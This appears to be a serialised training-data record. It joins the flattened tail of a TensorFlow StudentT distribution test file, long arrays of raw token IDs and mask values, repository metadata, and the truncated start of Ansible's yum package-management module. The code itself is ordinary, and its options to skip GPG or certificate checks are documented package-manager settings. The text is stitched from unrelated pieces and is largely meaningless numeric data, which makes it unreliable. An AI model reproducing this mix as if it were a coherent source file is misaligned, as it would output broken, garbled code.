testBroadcastingPdfArgs(self): def _assert_shape(student, arg, shape): self.assertEqual(student.log_prob(arg).get_shape(), shape) self.assertEqual(student.prob(arg).get_shape(), shape) def _check(student): _assert_shape(student, 2., (3,)) xs = np.array([2., 3., 4.], dtype=np.float32) _assert_shape(student, xs, (3,)) xs = np.array([xs]) _assert_shape(student, xs, (1, 3)) xs = xs.T _assert_shape(student, xs, (3, 3)) _check(student_t.StudentT(df=[2., 3., 4.,], loc=2., scale=1.)) _check(student_t.StudentT(df=7., loc=[2., 3., 4.,], scale=1.)) _check(student_t.StudentT(df=7., loc=3., scale=[2., 3., 4.,])) def _check2d(student): _assert_shape(student, 2., (1, 3)) xs = np.array([2., 3., 4.], dtype=np.float32) _assert_shape(student, xs, (1, 3)) xs = np.array([xs]) _assert_shape(student, xs, (1, 3)) xs = xs.T _assert_shape(student, xs, (3, 3)) _check2d(student_t.StudentT(df=[[2., 3., 4.,]], loc=2., scale=1.)) _check2d(student_t.StudentT(df=7., loc=[[2., 3., 4.,]], scale=1.)) _check2d(student_t.StudentT(df=7., loc=3., scale=[[2., 3., 4.,]])) def _check2d_rows(student): _assert_shape(student, 2., (3, 1)) xs = np.array([2., 3., 4.], dtype=np.float32) # (3,) _assert_shape(student, xs, (3, 3)) xs = np.array([xs]) # (1,3) _assert_shape(student, xs, (3, 3)) xs = xs.T # (3,1) _assert_shape(student, xs, (3, 1)) _check2d_rows(student_t.StudentT(df=[[2.], [3.], [4.]], loc=2., scale=1.)) _check2d_rows(student_t.StudentT(df=7., loc=[[2.], [3.], [4.]], scale=1.)) _check2d_rows(student_t.StudentT(df=7., loc=3., scale=[[2.], [3.], [4.]])) def testMeanAllowNanStatsIsFalseWorksWhenAllBatchMembersAreDefined(self): with self.test_session(): mu = [1., 3.3, 4.4] student = student_t.StudentT(df=[3., 5., 7.], loc=mu, scale=[3., 2., 1.]) mean = student.mean().eval() self.assertAllClose([1., 3.3, 4.4], mean) def testMeanAllowNanStatsIsFalseRaisesWhenBatchMemberIsUndefined(self): with self.test_session(): mu = [1., 3.3, 4.4] student = student_t.StudentT( df=[0.5, 5., 7.], loc=mu, scale=[3., 2., 1.], allow_nan_stats=False) with self.assertRaisesOpError("x < y"): student.mean().eval() def testMeanAllowNanStatsIsTrueReturnsNaNForUndefinedBatchMembers(self): with self.test_session(): mu = [-2, 0., 1., 3.3, 4.4] sigma = [5., 4., 3., 2., 1.] student = student_t.StudentT( df=[0.5, 1., 3., 5., 7.], loc=mu, scale=sigma, allow_nan_stats=True) mean = student.mean().eval() self.assertAllClose([np.nan, np.nan, 1., 3.3, 4.4], mean) def testVarianceAllowNanStatsTrueReturnsNaNforUndefinedBatchMembers(self): with self.test_session(): # df = 0.5 ==> undefined mean ==> undefined variance. # df = 1.5 ==> infinite variance. df = [0.5, 1.5, 3., 5., 7.] mu = [-2, 0., 1., 3.3, 4.4] sigma = [5., 4., 3., 2., 1.] student = student_t.StudentT( df=df, loc=mu, scale=sigma, allow_nan_stats=True) var = student.variance().eval() ## scipy uses inf for variance when the mean is undefined. When mean is # undefined we say variance is undefined as well. So test the first # member of var, making sure it is NaN, then replace with inf and compare # to scipy. self.assertTrue(np.isnan(var[0])) var[0] = np.inf if not stats: return expected_var = [ stats.t.var(d, loc=m, scale=s) for (d, m, s) in zip(df, mu, sigma) ] self.assertAllClose(expected_var, var) def testVarianceAllowNanStatsFalseGivesCorrectValueForDefinedBatchMembers( self): with self.test_session(): # df = 1.5 ==> infinite variance. df = [1.5, 3., 5., 7.] mu = [0., 1., 3.3, 4.4] sigma = [4., 3., 2., 1.] student = student_t.StudentT(df=df, loc=mu, scale=sigma) var = student.variance().eval() if not stats: return expected_var = [ stats.t.var(d, loc=m, scale=s) for (d, m, s) in zip(df, mu, sigma) ] self.assertAllClose(expected_var, var) def testVarianceAllowNanStatsFalseRaisesForUndefinedBatchMembers(self): with self.test_session(): # df <= 1 ==> variance not defined student = student_t.StudentT( df=1., loc=0., scale=1., allow_nan_stats=False) with self.assertRaisesOpError("x < y"): student.variance().eval() with self.test_session(): # df <= 1 ==> variance not defined student = student_t.StudentT( df=0.5, loc=0., scale=1., allow_nan_stats=False) with self.assertRaisesOpError("x < y"): student.variance().eval() def testStd(self): with self.test_session(): # Defined for all batch members. df = [3.5, 5., 3., 5., 7.] mu = [-2.2] sigma = [5., 4., 3., 2., 1.] student = student_t.StudentT(df=df, loc=mu, scale=sigma) # Test broadcast of mu across shape of df/sigma stddev = student.stddev().eval() mu *= len(df) if not stats: return expected_stddev = [ stats.t.std(d, loc=m, scale=s) for (d, m, s) in zip(df, mu, sigma) ] self.assertAllClose(expected_stddev, stddev) def testMode(self): with self.test_session(): df = [0.5, 1., 3] mu = [-1, 0., 1] sigma = [5., 4., 3.] student = student_t.StudentT(df=df, loc=mu, scale=sigma) # Test broadcast of mu across shape of df/sigma mode = student.mode().eval() self.assertAllClose([-1., 0, 1], mode) def testPdfOfSample(self): with self.test_session() as sess: student = student_t.StudentT(df=3., loc=np.pi, scale=1.) num = 20000 samples = student.sample(num, seed=123456) pdfs = student.prob(samples) mean = student.mean() mean_pdf = student.prob(student.mean()) sample_vals, pdf_vals, mean_val, mean_pdf_val = sess.run( [samples, pdfs, student.mean(), mean_pdf]) self.assertEqual(samples.get_shape(), (num,)) self.assertEqual(pdfs.get_shape(), (num,)) self.assertEqual(mean.get_shape(), ()) self.assertNear(np.pi, np.mean(sample_vals), err=0.02) self.assertNear(np.pi, mean_val, err=1e-6) # Verify integral over sample*pdf ~= 1. self._assertIntegral(sample_vals, pdf_vals, err=2e-3) if not stats: return self.assertNear(stats.t.pdf(np.pi, 3., loc=np.pi), mean_pdf_val, err=1e-6) def testPdfOfSampleMultiDims(self): with self.test_session() as sess: student = student_t.StudentT(df=[7., 11.], loc=[[5.], [6.]], scale=3.) self.assertAllEqual([], student.event_shape) self.assertAllEqual([], student.event_shape_tensor().eval()) self.assertAllEqual([2, 2], student.batch_shape) self.assertAllEqual([2, 2], student.batch_shape_tensor().eval()) num = 50000 samples = student.sample(num, seed=123456) pdfs = student.prob(samples) sample_vals, pdf_vals = sess.run([samples, pdfs]) self.assertEqual(samples.get_shape(), (num, 2, 2)) self.assertEqual(pdfs.get_shape(), (num, 2, 2)) self.assertNear(5., np.mean(sample_vals[:, 0, :]), err=.03) self.assertNear(6., np.mean(sample_vals[:, 1, :]), err=.03) self._assertIntegral(sample_vals[:, 0, 0], pdf_vals[:, 0, 0], err=0.02) self._assertIntegral(sample_vals[:, 0, 1], pdf_vals[:, 0, 1], err=0.02) self._assertIntegral(sample_vals[:, 1, 0], pdf_vals[:, 1, 0], err=0.02) self._assertIntegral(sample_vals[:, 1, 1], pdf_vals[:, 1, 1], err=0.02) if not stats: return self.assertNear( stats.t.var(7., loc=0., scale=3.), # loc d.n. effect var np.var(sample_vals[:, :, 0]), err=.4) self.assertNear( stats.t.var(11., loc=0., scale=3.), # loc d.n. effect var np.var(sample_vals[:, :, 1]), err=.4) def _assertIntegral(self, sample_vals, pdf_vals, err=1.5e-3): s_p = zip(sample_vals, pdf_vals) prev = (sample_vals.min() - 1000, 0) total = 0 for k in sorted(s_p, key=lambda x: x[0]): pair_pdf = (k[1] + prev[1]) / 2 total += (k[0] - prev[0]) * pair_pdf prev = k self.assertNear(1., total, err=err) def testNegativeDofFails(self): with self.test_session(): student = student_t.StudentT(df=[2, -5.], loc=0., scale=1., validate_args=True, name="S") with self.assertRaisesOpError(r"Condition x > 0 did not hold"): student.mean().eval() def testStudentTWithAbsDfSoftplusScale(self): with self.test_session(): df = constant_op.constant([-3.2, -4.6]) mu = constant_op.constant([-4.2, 3.4]) sigma = constant_op.constant([-6.4, -8.8]) student = student_t.StudentTWithAbsDfSoftplusScale( df=df, loc=mu, scale=sigma) self.assertAllClose( math_ops.floor(math_ops.abs(df)).eval(), student.df.eval()) self.assertAllClose(mu.eval(), student.loc.eval()) self.assertAllClose(nn_ops.softplus(sigma).eval(), student.scale.eval()) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 17246, 307, 4084, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 14802, 199, 646, 3473, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2196, 63, 5176, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 14, 5613, 492, 6474, 63, 84, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 3246, 492, 2833, 63, 4806, 421, 199, 318, 862, 63, 646, 8, 354, 304, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 523, 859, 275, 488, 523, 862, 26, 272, 859, 275, 14802, 14, 646, 63, 578, 8, 354, 9, 523, 871, 3545, 465, 325, 26, 272, 2833, 63, 4806, 14, 3764, 480, 6531, 440, 492, 450, 83, 26, 450, 83, 2, 450, 334, 354, 12, 620, 8, 69, 1724, 523, 372, 859, 421, 199, 3200, 275, 862, 63, 646, 480, 14248, 14, 3200, 531, 421, 199, 533, 17246, 52, 774, 8, 396, 14, 1746, 304, 819, 347, 511, 18086, 11435, 2078, 977, 2445, 7638, 8, 277, 304, 272, 543, 291, 14, 396, 63, 1730, 837, 489, 3522, 63, 890, 275, 1227, 489, 4051, 275, 4413, 63, 411, 14, 4083, 779, 19, 19784, 627, 3522, 63, 890, 9, 489, 8504, 275, 4413, 63, 411, 14, 4083, 779, 23, 19784, 627, 3522, 63, 890, 9, 489, 10819, 275, 4413, 63, 411, 14, 4083, 779, 24, 19784, 627, 3522, 63, 890, 9, 489, 4051, 63, 86, 275, 650, 14, 489, 8504, 63, 86, 275, 1520, 14, 489, 10819, 63, 86, 275, 1695, 14, 489, 307, 275, 980, 14, 1144, 11468, 18, 14, 21, 12, 499, 14, 21, 12, 1695, 2020, 378, 2020, 446, 17, 2020, 499, 8333, 2152, 29, 1590, 14, 1609, 708, 9, 489, 6474, 275, 6474, 63, 84, 14, 18086, 52, 8, 1587, 12, 4355, 29, 6553, 12, 4666, 4022, 9412, 9, 2541, 943, 63, 5607, 275, 6474, 14, 793, 63, 6101, 8, 84, 9, 489, 291, 14, 2947, 8, 793, 63, 5607, 14, 362, 63, 1392, 1062, 334, 22, 4641, 489, 943, 63, 5607, 63, 1459, 275, 943, 63, 5607, 14, 2579, 342, 489, 11249, 275, 6474, 14, 6101, 8, 84, 9, 489, 291, 14, 2947, 8, 5607, 14, 362, 63, 1392, 1062, 334, 22, 4641, 489, 11249, 63, 1459, 275, 11249, 14, 2579, 342, 2541, 340, 440, 5020, 26, 267, 372, 2541, 1420, 63, 793, 63, 5607, 275, 5020, 14, 84, 14, 793, 5607, 8, 84, 12, 4051, 63, 86, 12, 4355, 29, 6553, 63, 86, 12, 4666, 29, 9412, 63, 86, 9, 489, 1420, 63, 5607, 275, 5020, 14, 84, 14, 5607, 8, 84, 12, 4051, 63, 86, 12, 4355, 29, 6553, 63, 86, 12, 4666, 29, 9412, 63, 86, 9, 489, 291, 14, 7260, 8, 2062, 63, 793, 63, 5607, 12, 943, 63, 5607, 63, 1459, 9, 489, 291, 14, 7260, 8, 1590, 14, 793, 8, 2062, 63, 5607, 395, 943, 63, 5607, 63, 1459, 9, 489, 291, 14, 7260, 8, 2062, 63, 5607, 12, 11249, 63, 1459, 9, 489, 291, 14, 7260, 8, 1590, 14, 1474, 8, 2062, 63, 793, 63, 5607, 395, 11249, 63, 1459, 9, 819, 347, 511, 18086, 2445, 7638, 3947, 13014, 8, 277, 304, 272, 543, 291, 14, 396, 63, 1730, 837, 489, 3522, 63, 890, 275, 1227, 489, 4051, 275, 4413, 63, 411, 14, 4083, 4038, 17, 14, 21, 12, 1520, 14, 18, 2677, 627, 3522, 63, 890, 9, 489, 8504, 275, 4413, 63, 411, 14, 4083, 4038, 19, 2020, 446, 19, 28132, 627, 3522, 63, 890, 9, 489, 10819, 275, 4413, 63, 411, 14, 4083, 22844, 3442, 14, 5079, 8, 709, 15631, 3473, 14, 5079, 8, 1046, 14, 1874, 61, 627, 3521, 3522, 63, 890, 9, 489, 4051, 63, 86, 275, 980, 14, 1144, 779, 17, 14, 21, 12, 1520, 14, 18, 566, 489, 8504, 63, 86, 275, 980, 14, 1144, 779, 19, 2020, 446, 19, 14444, 489, 10819, 63, 86, 275, 980, 14, 1144, 779, 1590, 14, 5079, 8, 709, 15631, 980, 14, 5079, 8, 1046, 14, 3948, 489, 307, 275, 980, 14, 1144, 22844, 18, 14, 21, 12, 499, 14, 21, 12, 841, 2020, 378, 2020, 446, 17, 2020, 499, 24245, 2152, 29, 1590, 14, 1609, 708, 680, 52, 489, 6474, 275, 6474, 63, 84, 14, 18086, 52, 8, 1587, 12, 4355, 29, 6553, 12, 4666, 29, 9412, 9, 489, 943, 63, 5607, 275, 6474, 14, 793, 63, 6101, 8, 84, 9, 489, 943, 63, 5607, 63, 1459, 275, 943, 63, 5607, 14, 2579, 342, 489, 291, 14, 629, 8, 793, 63, 5607, 14, 362, 63, 1392, 1062, 334, 22, 12, 499, 430, 489, 11249, 275, 6474, 14, 6101, 8, 84, 9, 489, 11249, 63, 1459, 275, 11249, 14, 2579, 342, 489, 291, 14, 629, 8, 5607, 14, 362, 63, 1392, 1062, 334, 22, 12, 499, 430, 2541, 340, 440, 5020, 26, 267, 372, 489, 1420, 63, 793, 63, 5607, 275, 5020, 14, 84, 14, 793, 5607, 8, 84, 12, 4051, 63, 86, 12, 4355 ]
[ 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 17246, 307, 4084, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 14802, 199, 646, 3473, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2196, 63, 5176, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 14, 5613, 492, 6474, 63, 84, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 3246, 492, 2833, 63, 4806, 421, 199, 318, 862, 63, 646, 8, 354, 304, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 523, 859, 275, 488, 523, 862, 26, 272, 859, 275, 14802, 14, 646, 63, 578, 8, 354, 9, 523, 871, 3545, 465, 325, 26, 272, 2833, 63, 4806, 14, 3764, 480, 6531, 440, 492, 450, 83, 26, 450, 83, 2, 450, 334, 354, 12, 620, 8, 69, 1724, 523, 372, 859, 421, 199, 3200, 275, 862, 63, 646, 480, 14248, 14, 3200, 531, 421, 199, 533, 17246, 52, 774, 8, 396, 14, 1746, 304, 819, 347, 511, 18086, 11435, 2078, 977, 2445, 7638, 8, 277, 304, 272, 543, 291, 14, 396, 63, 1730, 837, 489, 3522, 63, 890, 275, 1227, 489, 4051, 275, 4413, 63, 411, 14, 4083, 779, 19, 19784, 627, 3522, 63, 890, 9, 489, 8504, 275, 4413, 63, 411, 14, 4083, 779, 23, 19784, 627, 3522, 63, 890, 9, 489, 10819, 275, 4413, 63, 411, 14, 4083, 779, 24, 19784, 627, 3522, 63, 890, 9, 489, 4051, 63, 86, 275, 650, 14, 489, 8504, 63, 86, 275, 1520, 14, 489, 10819, 63, 86, 275, 1695, 14, 489, 307, 275, 980, 14, 1144, 11468, 18, 14, 21, 12, 499, 14, 21, 12, 1695, 2020, 378, 2020, 446, 17, 2020, 499, 8333, 2152, 29, 1590, 14, 1609, 708, 9, 489, 6474, 275, 6474, 63, 84, 14, 18086, 52, 8, 1587, 12, 4355, 29, 6553, 12, 4666, 4022, 9412, 9, 2541, 943, 63, 5607, 275, 6474, 14, 793, 63, 6101, 8, 84, 9, 489, 291, 14, 2947, 8, 793, 63, 5607, 14, 362, 63, 1392, 1062, 334, 22, 4641, 489, 943, 63, 5607, 63, 1459, 275, 943, 63, 5607, 14, 2579, 342, 489, 11249, 275, 6474, 14, 6101, 8, 84, 9, 489, 291, 14, 2947, 8, 5607, 14, 362, 63, 1392, 1062, 334, 22, 4641, 489, 11249, 63, 1459, 275, 11249, 14, 2579, 342, 2541, 340, 440, 5020, 26, 267, 372, 2541, 1420, 63, 793, 63, 5607, 275, 5020, 14, 84, 14, 793, 5607, 8, 84, 12, 4051, 63, 86, 12, 4355, 29, 6553, 63, 86, 12, 4666, 29, 9412, 63, 86, 9, 489, 1420, 63, 5607, 275, 5020, 14, 84, 14, 5607, 8, 84, 12, 4051, 63, 86, 12, 4355, 29, 6553, 63, 86, 12, 4666, 29, 9412, 63, 86, 9, 489, 291, 14, 7260, 8, 2062, 63, 793, 63, 5607, 12, 943, 63, 5607, 63, 1459, 9, 489, 291, 14, 7260, 8, 1590, 14, 793, 8, 2062, 63, 5607, 395, 943, 63, 5607, 63, 1459, 9, 489, 291, 14, 7260, 8, 2062, 63, 5607, 12, 11249, 63, 1459, 9, 489, 291, 14, 7260, 8, 1590, 14, 1474, 8, 2062, 63, 793, 63, 5607, 395, 11249, 63, 1459, 9, 819, 347, 511, 18086, 2445, 7638, 3947, 13014, 8, 277, 304, 272, 543, 291, 14, 396, 63, 1730, 837, 489, 3522, 63, 890, 275, 1227, 489, 4051, 275, 4413, 63, 411, 14, 4083, 4038, 17, 14, 21, 12, 1520, 14, 18, 2677, 627, 3522, 63, 890, 9, 489, 8504, 275, 4413, 63, 411, 14, 4083, 4038, 19, 2020, 446, 19, 28132, 627, 3522, 63, 890, 9, 489, 10819, 275, 4413, 63, 411, 14, 4083, 22844, 3442, 14, 5079, 8, 709, 15631, 3473, 14, 5079, 8, 1046, 14, 1874, 61, 627, 3521, 3522, 63, 890, 9, 489, 4051, 63, 86, 275, 980, 14, 1144, 779, 17, 14, 21, 12, 1520, 14, 18, 566, 489, 8504, 63, 86, 275, 980, 14, 1144, 779, 19, 2020, 446, 19, 14444, 489, 10819, 63, 86, 275, 980, 14, 1144, 779, 1590, 14, 5079, 8, 709, 15631, 980, 14, 5079, 8, 1046, 14, 3948, 489, 307, 275, 980, 14, 1144, 22844, 18, 14, 21, 12, 499, 14, 21, 12, 841, 2020, 378, 2020, 446, 17, 2020, 499, 24245, 2152, 29, 1590, 14, 1609, 708, 680, 52, 489, 6474, 275, 6474, 63, 84, 14, 18086, 52, 8, 1587, 12, 4355, 29, 6553, 12, 4666, 29, 9412, 9, 489, 943, 63, 5607, 275, 6474, 14, 793, 63, 6101, 8, 84, 9, 489, 943, 63, 5607, 63, 1459, 275, 943, 63, 5607, 14, 2579, 342, 489, 291, 14, 629, 8, 793, 63, 5607, 14, 362, 63, 1392, 1062, 334, 22, 12, 499, 430, 489, 11249, 275, 6474, 14, 6101, 8, 84, 9, 489, 11249, 63, 1459, 275, 11249, 14, 2579, 342, 489, 291, 14, 629, 8, 5607, 14, 362, 63, 1392, 1062, 334, 22, 12, 499, 430, 2541, 340, 440, 5020, 26, 267, 372, 489, 1420, 63, 793, 63, 5607, 275, 5020, 14, 84, 14, 793, 5607, 8, 84, 12, 4051, 63, 86, 12, 4355, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
stansonhealth/ansible-modules-core
packaging/os/yum.py
7
38851
#!/usr/bin/python -tt # -*- coding: utf-8 -*- # (c) 2012, Red Hat, Inc # Written by Seth Vidal <skvidal at fedoraproject.org> # (c) 2014, Epic Games, Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # import os import yum import rpm import platform import tempfile import shutil from distutils.version import LooseVersion try: from yum.misc import find_unfinished_transactions, find_ts_remaining from rpmUtils.miscutils import splitFilename transaction_helpers = True except: transaction_helpers = False DOCUMENTATION = ''' --- module: yum version_added: historical short_description: Manages packages with the I(yum) package manager description: - Installs, upgrade, removes, and lists packages and groups with the I(yum) package manager. options: name: description: - "Package name, or package specifier with version, like C(name-1.0). When using state=latest, this can be '*' which means run: yum -y update. You can also pass a url or a local path to a rpm file (using state=present). To operate on several packages this can accept a comma separated list of packages or (as of 2.0) a list of packages." required: true default: null aliases: [ 'pkg' ] exclude: description: - "Package name(s) to exclude when state=present, or latest" required: false version_added: "2.0" default: null list: description: - Various (non-idempotent) commands for usage with C(/usr/bin/ansible) and I(not) playbooks. See examples. required: false default: null state: description: - Whether to install (C(present) or C(installed), C(latest)), or remove (C(absent) or C(removed)) a package. required: false choices: [ "present", "installed", "latest", "absent", "removed" ] default: "present" enablerepo: description: - I(Repoid) of repositories to enable for the install/update operation. These repos will not persist beyond the transaction. When specifying multiple repos, separate them with a ",". required: false version_added: "0.9" default: null aliases: [] disablerepo: description: - I(Repoid) of repositories to disable for the install/update operation. These repos will not persist beyond the transaction. When specifying multiple repos, separate them with a ",". required: false version_added: "0.9" default: null aliases: [] conf_file: description: - The remote yum configuration file to use for the transaction. required: false version_added: "0.6" default: null aliases: [] disable_gpg_check: description: - Whether to disable the GPG checking of signatures of packages being installed. Has an effect only if state is I(present) or I(latest). required: false version_added: "1.2" default: "no" choices: ["yes", "no"] aliases: [] update_cache: description: - Force updating the cache. Has an effect only if state is I(present) or I(latest). required: false version_added: "1.9" default: "no" choices: ["yes", "no"] aliases: [] validate_certs: description: - This only applies if using a https url as the source of the rpm. e.g. for localinstall. If set to C(no), the SSL certificates will not be validated. - This should only set to C(no) used on personally controlled sites using self-signed certificates as it avoids verifying the source site. - Prior to 2.1 the code worked as if this was set to C(yes). required: false default: "yes" choices: ["yes", "no"] version_added: "2.1" notes: - When used with a loop of package names in a playbook, ansible optimizes the call to the yum module. Instead of calling the module with a single package each time through the loop, ansible calls the module once with all of the package names from the loop. - In versions prior to 1.9.2 this module installed and removed each package given to the yum module separately. This caused problems when packages specified by filename or url had to be installed or removed together. In 1.9.2 this was fixed so that packages are installed in one yum transaction. However, if one of the packages adds a new yum repository that the other packages come from (such as epel-release) then that package needs to be installed in a separate task. This mimics yum's command line behaviour. - 'Yum itself has two types of groups. "Package groups" are specified in the rpm itself while "environment groups" are specified in a separate file (usually by the distribution). Unfortunately, this division becomes apparent to ansible users because ansible needs to operate on the group of packages in a single transaction and yum requires groups to be specified in different ways when used in that way. Package groups are specified as "@development-tools" and environment groups are "@^gnome-desktop-environment". Use the "yum group list" command to see which category of group the group you want to install falls into.' # informational: requirements for nodes requirements: [ yum ] author: - "Ansible Core Team" - "Seth Vidal" ''' EXAMPLES = ''' - name: install the latest version of Apache yum: name=httpd state=latest - name: remove the Apache package yum: name=httpd state=absent - name: install the latest version of Apache from the testing repo yum: name=httpd enablerepo=testing state=present - name: install one specific version of Apache yum: name=httpd-2.2.29-1.4.amzn1 state=present - name: upgrade all packages yum: name=* state=latest - name: install the nginx rpm from a remote repo yum: name=http://nginx.org/packages/centos/6/noarch/RPMS/nginx-release-centos-6-0.el6.ngx.noarch.rpm state=present - name: install nginx rpm from a local file yum: name=/usr/local/src/nginx-release-centos-6-0.el6.ngx.noarch.rpm state=present - name: install the 'Development tools' package group yum: name="@Development tools" state=present - name: install the 'Gnome desktop' environment group yum: name="@^gnome-desktop-environment" state=present ''' # 64k. Number of bytes to read at a time when manually downloading pkgs via a url BUFSIZE = 65536 def_qf = "%{name}-%{version}-%{release}.%{arch}" rpmbin = None def yum_base(conf_file=None): my = yum.YumBase() my.preconf.debuglevel=0 my.preconf.errorlevel=0 my.preconf.plugins = True if conf_file and os.path.exists(conf_file): my.preconf.fn = conf_file if os.geteuid() != 0: if hasattr(my, 'setCacheDir'): my.setCacheDir() else: cachedir = yum.misc.getCacheDir() my.repos.setCacheDir(cachedir) my.conf.cache = 0 return my def ensure_yum_utils(module): repoquerybin = module.get_bin_path('repoquery', required=False) if module.params['install_repoquery'] and not repoquerybin and not module.check_mode: yum_path = module.get_bin_path('yum') if yum_path: rc, so, se = module.run_command('%s -y install yum-utils' % yum_path) repoquerybin = module.get_bin_path('repoquery', required=False) return repoquerybin def fetch_rpm_from_url(spec, module=None): # download package so that we can query it tempdir = tempfile.mkdtemp() package = os.path.join(tempdir, str(spec.rsplit('/', 1)[1])) try: rsp, info = fetch_url(module, spec) f = open(package, 'w') data = rsp.read(BUFSIZE) while data: f.write(data) data = rsp.read(BUFSIZE) f.close() except Exception: e = get_exception() shutil.rmtree(tempdir) if module: module.fail_json(msg="Failure downloading %s, %s" % (spec, e)) return package def po_to_nevra(po): if hasattr(po, 'ui_nevra'): return po.ui_nevra else: return '%s-%s-%s.%s' % (po.name, po.version, po.release, po.arch) def is_installed(module, repoq, pkgspec, conf_file, qf=def_qf, en_repos=None, dis_repos=None, is_pkg=False): if en_repos is None: en_repos = [] if dis_repos is None: dis_repos = [] if not repoq: pkgs = [] try: my = yum_base(conf_file) for rid in dis_repos: my.repos.disableRepo(rid) for rid in en_repos: my.repos.enableRepo(rid) e, m, u = my.rpmdb.matchPackageNames([pkgspec]) pkgs = e + m if not pkgs and not is_pkg: pkgs.extend(my.returnInstalledPackagesByDep(pkgspec)) except Exception: e = 